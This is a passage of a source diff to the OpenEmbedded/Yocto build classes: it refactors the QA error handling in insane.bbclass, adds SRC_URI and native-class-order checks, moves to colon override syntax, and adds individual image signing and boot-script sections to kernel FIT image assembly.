error_msg = "%s: invalid PACKAGECONFIG: %s" % (pn, pconfig)
- package_qa_handle_error("invalid-packageconfig", error_msg, d)
+ oe.qa.handle_error("invalid-packageconfig", error_msg, d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
+def unpack_check_src_uri(pn, d):
+ import re
+
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ if 'src-uri-bad' in skip:
+ bb.note("Recipe %s skipping qa checking: src-uri-bad" % d.getVar('PN'))
+ return
+
+ if "${PN}" in d.getVar("SRC_URI", False):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
+
+ for url in d.getVar("SRC_URI").split():
+ if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
+
python do_qa_unpack() {
src_uri = d.getVar('SRC_URI')
s_dir = d.getVar('S')
if src_uri and not os.path.exists(s_dir):
bb.warn('%s: the directory %s (%s) pointed to by the S variable doesn\'t exist - please set S within the recipe to point to where the source has been unpacked to' % (d.getVar('PN'), d.getVar('S', False), s_dir))
+
+ unpack_check_src_uri(d.getVar('PN'), d)
}
# The Staging Func, to check all staging
@@ -1217,11 +1359,11 @@ python () {
# Checking ${FILESEXTRAPATHS}
extrapaths = (d.getVar("FILESEXTRAPATHS") or "")
if '__default' not in extrapaths.split(":"):
- msg = "FILESEXTRAPATHS-variable, must always use _prepend (or _append)\n"
+ msg = "FILESEXTRAPATHS-variable, must always use :prepend (or :append)\n"
msg += "type of assignment, and don't forget the colon.\n"
msg += "Please assign it with the format of:\n"
- msg += " FILESEXTRAPATHS_append := \":${THISDIR}/Your_Files_Path\" or\n"
- msg += " FILESEXTRAPATHS_prepend := \"${THISDIR}/Your_Files_Path:\"\n"
+ msg += " FILESEXTRAPATHS:append := \":${THISDIR}/Your_Files_Path\" or\n"
+ msg += " FILESEXTRAPATHS:prepend := \"${THISDIR}/Your_Files_Path:\"\n"
msg += "in your bbappend file\n\n"
msg += "Your incorrect assignment is:\n"
msg += "%s\n" % extrapaths
@@ -1231,15 +1373,15 @@ python () {
pn = d.getVar('PN')
if pn in overrides:
msg = 'Recipe %s has PN of "%s" which is in OVERRIDES, this can result in unexpected behaviour.' % (d.getVar("FILE"), pn)
- package_qa_handle_error("pn-overrides", msg, d)
+ oe.qa.handle_error("pn-overrides", msg, d)
prog = re.compile(r'[A-Z]')
if prog.search(pn):
- package_qa_handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
+ oe.qa.handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
- # Some people mistakenly use DEPENDS_${PN} instead of DEPENDS and wonder
+ # Some people mistakenly use DEPENDS:${PN} instead of DEPENDS and wonder
# why it doesn't work.
- if (d.getVar(d.expand('DEPENDS_${PN}'))):
- package_qa_handle_error("pkgvarcheck", "recipe uses DEPENDS_${PN}, should use DEPENDS", d)
+ if (d.getVar(d.expand('DEPENDS:${PN}'))):
+ oe.qa.handle_error("pkgvarcheck", "recipe uses DEPENDS:${PN}, should use DEPENDS", d)
issues = []
if (d.getVar('PACKAGES') or "").split():
@@ -1256,8 +1398,36 @@ python () {
else:
d.setVarFlag('do_package_qa', 'rdeptask', '')
for i in issues:
- package_qa_handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
+
+ if 'native-last' not in (d.getVar('INSANE_SKIP') or "").split():
+ for native_class in ['native', 'nativesdk']:
+ if bb.data.inherits_class(native_class, d):
+
+ inherited_classes = d.getVar('__inherit_cache', False) or []
+ needle = os.path.join('classes', native_class)
+
+ bbclassextend = (d.getVar('BBCLASSEXTEND') or '').split()
+ # BBCLASSEXTEND items are always added in the end
+ skip_classes = bbclassextend
+ if bb.data.inherits_class('native', d) or 'native' in bbclassextend:
+ # native also inherits nopackages and relocatable bbclasses
+ skip_classes.extend(['nopackages', 'relocatable'])
+
+ broken_order = []
+ for class_item in reversed(inherited_classes):
+ if needle not in class_item:
+ for extend_item in skip_classes:
+ if os.path.join('classes', '%s.bbclass' % extend_item) in class_item:
+ break
+ else:
+ pn = d.getVar('PN')
+ broken_order.append(os.path.basename(class_item))
+ else:
+ break
+ if broken_order:
+ oe.qa.handle_error("native-last", "%s: native/nativesdk class is not inherited last, this can result in unexpected behaviour. "
+ "Classes inherited after native/nativesdk: %s" % (pn, " ".join(broken_order)), d)
+
+ oe.qa.exit_if_errors(d)
}
diff --git a/meta/classes/kernel-artifact-names.bbclass b/meta/classes/kernel-artifact-names.bbclass
index bbeecba7bd..e77107c893 100644
--- a/meta/classes/kernel-artifact-names.bbclass
+++ b/meta/classes/kernel-artifact-names.bbclass
@@ -1,14 +1,27 @@
+##################################################################
+# Specific kernel creation info
+# for recipes/bbclasses which need to reuse some of the kernel
+# artifacts, but aren't kernel recipes themselves
+##################################################################
+
+inherit image-artifact-names
+
KERNEL_ARTIFACT_NAME ?= "${PKGE}-${PKGV}-${PKGR}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
KERNEL_ARTIFACT_LINK_NAME ?= "${MACHINE}"
+KERNEL_ARTIFACT_BIN_EXT ?= ".bin"
KERNEL_IMAGE_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_IMAGE_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_IMAGE_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
+KERNEL_IMAGETYPE_SYMLINK ?= "1"
KERNEL_DTB_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_DTB_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_DTB_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
KERNEL_FIT_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_FIT_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_FIT_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
MODULE_TARBALL_NAME ?= "${KERNEL_ARTIFACT_NAME}"
MODULE_TARBALL_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
diff --git a/meta/classes/kernel-devicetree.bbclass b/meta/classes/kernel-devicetree.bbclass
index 522c46575d..b4338da1b1 100644
--- a/meta/classes/kernel-devicetree.bbclass
+++ b/meta/classes/kernel-devicetree.bbclass
@@ -1,14 +1,20 @@
# Support for device tree generation
-PACKAGES_append = " \
- ${KERNEL_PACKAGE_NAME}-devicetree \
- ${@[d.getVar('KERNEL_PACKAGE_NAME') + '-image-zimage-bundle', ''][d.getVar('KERNEL_DEVICETREE_BUNDLE') != '1']} \
-"
-FILES_${KERNEL_PACKAGE_NAME}-devicetree = "/${KERNEL_IMAGEDEST}/*.dtb /${KERNEL_IMAGEDEST}/*.dtbo"
-FILES_${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
+python () {
+ if not bb.data.inherits_class('nopackages', d):
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-devicetree")
+ if d.getVar('KERNEL_DEVICETREE_BUNDLE') == '1':
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-image-zimage-bundle")
+}
+
+FILES:${KERNEL_PACKAGE_NAME}-devicetree = "/${KERNEL_IMAGEDEST}/*.dtb /${KERNEL_IMAGEDEST}/*.dtbo"
+FILES:${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
# Generate kernel+devicetree bundle
KERNEL_DEVICETREE_BUNDLE ?= "0"
+# dtc flags passed via DTC_FLAGS env variable
+KERNEL_DTC_FLAGS ?= ""
+
normalize_dtb () {
dtb="$1"
if echo $dtb | grep -q '/dts/'; then
@@ -27,7 +33,7 @@ get_real_dtb_path_in_kernel () {
echo "$dtb_path"
}
-do_configure_append() {
+do_configure:append() {
if [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
if echo ${KERNEL_IMAGETYPE_FOR_MAKE} | grep -q 'zImage'; then
case "${ARCH}" in
@@ -49,14 +55,18 @@ do_configure_append() {
fi
}
-do_compile_append() {
+do_compile:append() {
+ if [ -n "${KERNEL_DTC_FLAGS}" ]; then
+ export DTC_FLAGS="${KERNEL_DTC_FLAGS}"
+ fi
+
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
- oe_runmake $dtb
+ oe_runmake $dtb CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
done
}
-do_install_append() {
+do_install:append() {
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
dtb_ext=${dtb##*.}
@@ -66,28 +76,36 @@ do_install_append() {
done
}
-do_deploy_append() {
+do_deploy:append() {
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
dtb_ext=${dtb##*.}
dtb_base_name=`basename $dtb .$dtb_ext`
install -d $deployDir
install -m 0644 ${D}/${KERNEL_IMAGEDEST}/$dtb_base_name.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext
- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name.$dtb_ext
- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
+ if [ "${KERNEL_IMAGETYPE_SYMLINK}" = "1" ] ; then
+ ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name.$dtb_ext
+ fi
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ] ; then
+ ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
+ fi
for type in ${KERNEL_IMAGETYPE_FOR_MAKE}; do
if [ "$type" = "zImage" ] && [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
cat ${D}/${KERNEL_IMAGEDEST}/$type \
$deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf $type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
+ > $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf $type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
if [ -e "${KERNEL_OUTPUT_DIR}/${type}.initramfs" ]; then
cat ${KERNEL_OUTPUT_DIR}/${type}.initramfs \
$deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
+ > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
fi
fi
done
diff --git a/meta/classes/kernel-fitimage.bbclass b/meta/classes/kernel-fitimage.bbclass
index ec18a3d699..8a9b195d6e 100644
--- a/meta/classes/kernel-fitimage.bbclass
+++ b/meta/classes/kernel-fitimage.bbclass
@@ -1,5 +1,7 @@
inherit kernel-uboot kernel-artifact-names uboot-sign
+KERNEL_IMAGETYPE_REPLACEMENT = ""
+
python __anonymous () {
kerneltypes = d.getVar('KERNEL_IMAGETYPES') or ""
if 'fitImage' in kerneltypes.split():
@@ -21,6 +23,8 @@ python __anonymous () {
else:
replacementtype = "zImage"
+ d.setVar("KERNEL_IMAGETYPE_REPLACEMENT", replacementtype)
+
# Override KERNEL_IMAGETYPE_FOR_MAKE variable, which is internal
# to kernel.bbclass . We have to override it, since we pack zImage
# (at least for now) into the fitImage .
@@ -32,6 +36,10 @@ python __anonymous () {
if image:
d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+ ubootenv = d.getVar('UBOOT_ENV')
+ if ubootenv:
+ d.appendVarFlag('do_assemble_fitimage', 'depends', ' virtual/bootloader:do_populate_sysroot')
+
#check if there are any dtb providers
providerdtb = d.getVar("PREFERRED_PROVIDER_virtual/dtb")
if providerdtb:
@@ -45,27 +53,38 @@ python __anonymous () {
if d.getVar('UBOOT_SIGN_ENABLE') == "1" and d.getVar('UBOOT_DTB_BINARY'):
uboot_pn = d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'
d.appendVarFlag('do_assemble_fitimage', 'depends', ' %s:do_populate_sysroot' % uboot_pn)
+ if d.getVar('INITRAMFS_IMAGE_BUNDLE') == "1":
+ d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' %s:do_populate_sysroot' % uboot_pn)
}
-# Options for the device tree compiler passed to mkimage '-D' feature:
-UBOOT_MKIMAGE_DTCOPTS ??= ""
-# fitImage Hash Algo
-FIT_HASH_ALG ?= "sha256"
+# Description string
+FIT_DESC ?= "Kernel fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
-# fitImage Signature Algo
-FIT_SIGN_ALG ?= "rsa2048"
+# Sign individual images as well
+FIT_SIGN_INDIVIDUAL ?= "0"
+
+FIT_CONF_PREFIX ?= "conf-"
+FIT_CONF_PREFIX[doc] = "Prefix to use for FIT configuration node name"
+
+# Keys used to sign individually image nodes.
+# The keys to sign image nodes must be different from those used to sign
+# configuration nodes, otherwise the "required" property, from
+# UBOOT_DTB_BINARY, will be set to "conf", because "conf" prevails on "image".
+# Then the images signature checking will not be mandatory and no error will be
+# raised in case of failure.
+# UBOOT_SIGN_IMG_KEYNAME = "dev2" # keys name in keydir (eg. "dev2.crt", "dev2.key")
#
# Emit the fitImage ITS header
#
# $1 ... .its filename
fitimage_emit_fit_header() {
- cat << EOF >> ${1}
+ cat << EOF >> $1
/dts-v1/;
/ {
- description = "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}";
+ description = "${FIT_DESC}";
#address-cells = <1>;
EOF
}
@@ -82,24 +101,24 @@ EOF
fitimage_emit_section_maint() {
case $2 in
imagestart)
- cat << EOF >> ${1}
+ cat << EOF >> $1
images {
EOF
;;
confstart)
- cat << EOF >> ${1}
+ cat << EOF >> $1
configurations {
EOF
;;
sectend)
- cat << EOF >> ${1}
+ cat << EOF >> $1
};
EOF
;;
fitend)
- cat << EOF >> ${1}
+ cat << EOF >> $1
};
EOF
;;
@@ -116,6 +135,8 @@ EOF
fitimage_emit_section_kernel() {
kernel_csum="${FIT_HASH_ALG}"
+ kernel_sign_algo="${FIT_SIGN_ALG}"
+ kernel_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
ENTRYPOINT="${UBOOT_ENTRYPOINT}"
if [ -n "${UBOOT_ENTRYSYMBOL}" ]; then
@@ -123,21 +144,32 @@ fitimage_emit_section_kernel() {
awk '$3=="${UBOOT_ENTRYSYMBOL}" {print "0x"$1;exit}'`
fi
- cat << EOF >> ${1}
- kernel@${2} {
+ cat << EOF >> $1
+ kernel-$2 {
description = "Linux kernel";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "kernel";
arch = "${UBOOT_ARCH}";
os = "linux";
- compression = "${4}";
+ compression = "$4";
load = <${UBOOT_LOADADDRESS}>;
- entry = <${ENTRYPOINT}>;
- hash@1 {
- algo = "${kernel_csum}";
+ entry = <$ENTRYPOINT>;
+ hash-1 {
+ algo = "$kernel_csum";
};
};
EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$kernel_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$kernel_csum,$kernel_sign_algo";
+ key-name-hint = "$kernel_sign_keyname";
+ };
+ };
+EOF
+ fi
}
#
@@ -149,6 +181,8 @@ EOF
fitimage_emit_section_dtb() {
dtb_csum="${FIT_HASH_ALG}"
+ dtb_sign_algo="${FIT_SIGN_ALG}"
+ dtb_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
dtb_loadline=""
dtb_ext=${DTB##*.}
@@ -159,19 +193,67 @@ fitimage_emit_section_dtb() {
elif [ -n "${UBOOT_DTB_LOADADDRESS}" ]; then
dtb_loadline="load = <${UBOOT_DTB_LOADADDRESS}>;"
fi
- cat << EOF >> ${1}
- fdt@${2} {
+ cat << EOF >> $1
+ fdt-$2 {
description = "Flattened Device Tree blob";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "flat_dt";
arch = "${UBOOT_ARCH}";
compression = "none";
- ${dtb_loadline}
- hash@1 {
- algo = "${dtb_csum}";
+ $dtb_loadline
+ hash-1 {
+ algo = "$dtb_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$dtb_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$dtb_csum,$dtb_sign_algo";
+ key-name-hint = "$dtb_sign_keyname";
};
};
EOF
+ fi
+}
+
+#
+# Emit the fitImage ITS u-boot script section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to boot script image
+fitimage_emit_section_boot_script() {
+
+ bootscr_csum="${FIT_HASH_ALG}"
+ bootscr_sign_algo="${FIT_SIGN_ALG}"
+ bootscr_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+
+ cat << EOF >> $1
+ bootscr-$2 {
+ description = "U-boot script";
+ data = /incbin/("$3");
+ type = "script";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ hash-1 {
+ algo = "$bootscr_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$bootscr_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$bootscr_csum,$bootscr_sign_algo";
+ key-name-hint = "$bootscr_sign_keyname";
+ };
+ };
+EOF
+ fi
}
#
@@ -184,18 +266,18 @@ fitimage_emit_section_setup() {
setup_csum="${FIT_HASH_ALG}"
- cat << EOF >> ${1}
- setup@${2} {
+ cat << EOF >> $1
+ setup-$2 {
description = "Linux setup.bin";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "x86_setup";
arch = "${UBOOT_ARCH}";
os = "linux";
compression = "none";
load = <0x00090000>;
entry = <0x00090000>;
- hash@1 {
- algo = "${setup_csum}";
+ hash-1 {
+ algo = "$setup_csum";
};
};
EOF
@@ -210,6 +292,8 @@ EOF
fitimage_emit_section_ramdisk() {
ramdisk_csum="${FIT_HASH_ALG}"
+ ramdisk_sign_algo="${FIT_SIGN_ALG}"
+ ramdisk_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
ramdisk_loadline=""
ramdisk_entryline=""
@@ -220,21 +304,32 @@ fitimage_emit_section_ramdisk() {
ramdisk_entryline="entry = <${UBOOT_RD_ENTRYPOINT}>;"
fi
- cat << EOF >> ${1}
- ramdisk@${2} {
+ cat << EOF >> $1
+ ramdisk-$2 {
description = "${INITRAMFS_IMAGE}";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "ramdisk";
arch = "${UBOOT_ARCH}";
os = "linux";
compression = "none";
- ${ramdisk_loadline}
- ${ramdisk_entryline}
- hash@1 {
- algo = "${ramdisk_csum}";
+ $ramdisk_loadline
+ $ramdisk_entryline
+ hash-1 {
+ algo = "$ramdisk_csum";
};
};
EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$ramdisk_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$ramdisk_csum,$ramdisk_sign_algo";
+ key-name-hint = "$ramdisk_sign_keyname";
+ };
+ };
+EOF
+ fi
}
#
@@ -244,101 +339,138 @@ EOF
# $2 ... Linux kernel ID
# $3 ... DTB image name
# $4 ... ramdisk ID
-# $5 ... config ID
-# $6 ... default flag
+# $5 ... u-boot script ID
+# $6 ... config ID
+# $7 ... default flag
fitimage_emit_section_config() {
conf_csum="${FIT_HASH_ALG}"
conf_sign_algo="${FIT_SIGN_ALG}"
- if [ -n "${UBOOT_SIGN_ENABLE}" ] ; then
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] ; then
conf_sign_keyname="${UBOOT_SIGN_KEYNAME}"
fi
+ its_file="$1"
+ kernel_id="$2"
+ dtb_image="$3"
+ ramdisk_id="$4"
+ bootscr_id="$5"
+ config_id="$6"
+ default_flag="$7"
+
# Test if we have any DTBs at all
sep=""
conf_desc=""
+ conf_node="${FIT_CONF_PREFIX}"
kernel_line=""
fdt_line=""
ramdisk_line=""
+ bootscr_line=""
setup_line=""
default_line=""
- if [ -n "${2}" ]; then
+ # conf node name is selected based on dtb ID if it is present,
+ # otherwise its selected based on kernel ID
+ if [ -n "$dtb_image" ]; then
+ conf_node=$conf_node$dtb_image
+ else
+ conf_node=$conf_node$kernel_id
+ fi
+
+ if [ -n "$kernel_id" ]; then
conf_desc="Linux kernel"
sep=", "
- kernel_line="kernel = \"kernel@${2}\";"
+ kernel_line="kernel = \"kernel-$kernel_id\";"
fi
- if [ -n "${3}" ]; then
- conf_desc="${conf_desc}${sep}FDT blob"
+ if [ -n "$dtb_image" ]; then
+ conf_desc="$conf_desc${sep}FDT blob"
sep=", "
- fdt_line="fdt = \"fdt@${3}\";"
+ fdt_line="fdt = \"fdt-$dtb_image\";"
fi
- if [ -n "${4}" ]; then
- conf_desc="${conf_desc}${sep}ramdisk"
+ if [ -n "$ramdisk_id" ]; then
+ conf_desc="$conf_desc${sep}ramdisk"
sep=", "
- ramdisk_line="ramdisk = \"ramdisk@${4}\";"
+ ramdisk_line="ramdisk = \"ramdisk-$ramdisk_id\";"
fi
- if [ -n "${5}" ]; then
- conf_desc="${conf_desc}${sep}setup"
- setup_line="setup = \"setup@${5}\";"
+ if [ -n "$bootscr_id" ]; then
+ conf_desc="$conf_desc${sep}u-boot script"
+ sep=", "
+ bootscr_line="bootscr = \"bootscr-$bootscr_id\";"
fi
- if [ "${6}" = "1" ]; then
- default_line="default = \"conf@${3}\";"
+ if [ -n "$config_id" ]; then
+ conf_desc="$conf_desc${sep}setup"
+ setup_line="setup = \"setup-$config_id\";"
+ fi
+
+ if [ "$default_flag" = "1" ]; then
+ # default node is selected based on dtb ID if it is present,
+ # otherwise its selected based on kernel ID
+ if [ -n "$dtb_image" ]; then
+ default_line="default = \"${FIT_CONF_PREFIX}$dtb_image\";"
+ else
+ default_line="default = \"${FIT_CONF_PREFIX}$kernel_id\";"
+ fi
fi
- cat << EOF >> ${1}
- ${default_line}
- conf@${3} {
- description = "${6} ${conf_desc}";
- ${kernel_line}
- ${fdt_line}
- ${ramdisk_line}
- ${setup_line}
- hash@1 {
- algo = "${conf_csum}";
+ cat << EOF >> $its_file
+ $default_line
+ $conf_node {
+ description = "$default_flag $conf_desc";
+ $kernel_line
+ $fdt_line
+ $ramdisk_line
+ $bootscr_line
+ $setup_line
+ hash-1 {
+ algo = "$conf_csum";
};
EOF
- if [ ! -z "${conf_sign_keyname}" ] ; then
+ if [ -n "$conf_sign_keyname" ] ; then
sign_line="sign-images = "
sep=""
- if [ -n "${2}" ]; then
- sign_line="${sign_line}${sep}\"kernel\""
+ if [ -n "$kernel_id" ]; then
+ sign_line="$sign_line${sep}\"kernel\""
sep=", "
fi
- if [ -n "${3}" ]; then
- sign_line="${sign_line}${sep}\"fdt\""
+ if [ -n "$dtb_image" ]; then
+ sign_line="$sign_line${sep}\"fdt\""
sep=", "
fi
- if [ -n "${4}" ]; then
- sign_line="${sign_line}${sep}\"ramdisk\""
+ if [ -n "$ramdisk_id" ]; then
+ sign_line="$sign_line${sep}\"ramdisk\""
sep=", "
fi
- if [ -n "${5}" ]; then
- sign_line="${sign_line}${sep}\"setup\""
+ if [ -n "$bootscr_id" ]; then
+ sign_line="$sign_line${sep}\"bootscr\""
+ sep=", "
+ fi
+
+ if [ -n "$config_id" ]; then
+ sign_line="$sign_line${sep}\"setup\""
fi
- sign_line="${sign_line};"
+ sign_line="$sign_line;"
- cat << EOF >> ${1}
- signature@1 {
- algo = "${conf_csum},${conf_sign_algo}";
- key-name-hint = "${conf_sign_keyname}";
- ${sign_line}
+ cat << EOF >> $its_file
+ signature-1 {
+ algo = "$conf_csum,$conf_sign_algo";
+ key-name-hint = "$conf_sign_keyname";
+ $sign_line
};
EOF
fi
- cat << EOF >> ${1}
+ cat << EOF >> $its_file
};
EOF
}
@@ -353,115 +485,154 @@ fitimage_assemble() {
kernelcount=1
dtbcount=""
DTBS=""
- ramdiskcount=${3}
+ ramdiskcount=$3
setupcount=""
- rm -f ${1} arch/${ARCH}/boot/${2}
+ bootscr_id=""
+ rm -f $1 arch/${ARCH}/boot/$2
- fitimage_emit_fit_header ${1}
+ if [ -n "${UBOOT_SIGN_IMG_KEYNAME}" -a "${UBOOT_SIGN_KEYNAME}" = "${UBOOT_SIGN_IMG_KEYNAME}" ]; then
+ bbfatal "Keys used to sign images and configuration nodes must be different."
+ fi
+
+ fitimage_emit_fit_header $1
#
# Step 1: Prepare a kernel image section.
#
- fitimage_emit_section_maint ${1} imagestart
+ fitimage_emit_section_maint $1 imagestart
uboot_prep_kimage
- fitimage_emit_section_kernel ${1} "${kernelcount}" linux.bin "${linux_comp}"
+ fitimage_emit_section_kernel $1 $kernelcount linux.bin "$linux_comp"
#
# Step 2: Prepare a DTB image section
#
- if [ -z "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -n "${KERNEL_DEVICETREE}" ]; then
+ if [ -n "${KERNEL_DEVICETREE}" ]; then
dtbcount=1
for DTB in ${KERNEL_DEVICETREE}; do
- if echo ${DTB} | grep -q '/dts/'; then
- bbwarn "${DTB} contains the full path to the the dts file, but only the dtb name should be used."
- DTB=`basename ${DTB} | sed 's,\.dts$,.dtb,g'`
+ if echo $DTB | grep -q '/dts/'; then
+ bbwarn "$DTB contains the full path to the the dts file, but only the dtb name should be used."
+ DTB=`basename $DTB | sed 's,\.dts$,.dtb,g'`
fi
- DTB_PATH="arch/${ARCH}/boot/dts/${DTB}"
- if [ ! -e "${DTB_PATH}" ]; then
- DTB_PATH="arch/${ARCH}/boot/${DTB}"
+
+ # Skip ${DTB} if it's also provided in ${EXTERNAL_KERNEL_DEVICETREE}
+ if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -s ${EXTERNAL_KERNEL_DEVICETREE}/${DTB} ]; then
+ continue
fi
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} ${DTB_PATH}
+ DTB_PATH="arch/${ARCH}/boot/dts/$DTB"
+ if [ ! -e "$DTB_PATH" ]; then
+ DTB_PATH="arch/${ARCH}/boot/$DTB"
+ fi
+
+ DTB=$(echo "$DTB" | tr '/' '_')
+ DTBS="$DTBS $DTB"
+ fitimage_emit_section_dtb $1 $DTB $DTB_PATH
done
fi
if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ]; then
dtbcount=1
- for DTBFILE in ${EXTERNAL_KERNEL_DEVICETREE}/*.dtb; do
- DTB=`basename ${DTBFILE}`
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} ${DTBFILE}
+ for DTB in $(find "${EXTERNAL_KERNEL_DEVICETREE}" \( -name '*.dtb' -o -name '*.dtbo' \) -printf '%P\n' | sort); do
+ DTB=$(echo "$DTB" | tr '/' '_')
+ DTBS="$DTBS $DTB"
+ fitimage_emit_section_dtb $1 $DTB "${EXTERNAL_KERNEL_DEVICETREE}/$DTB"
done
fi
#
- # Step 3: Prepare a setup section. (For x86)
+ # Step 3: Prepare a u-boot script section
+ #
+
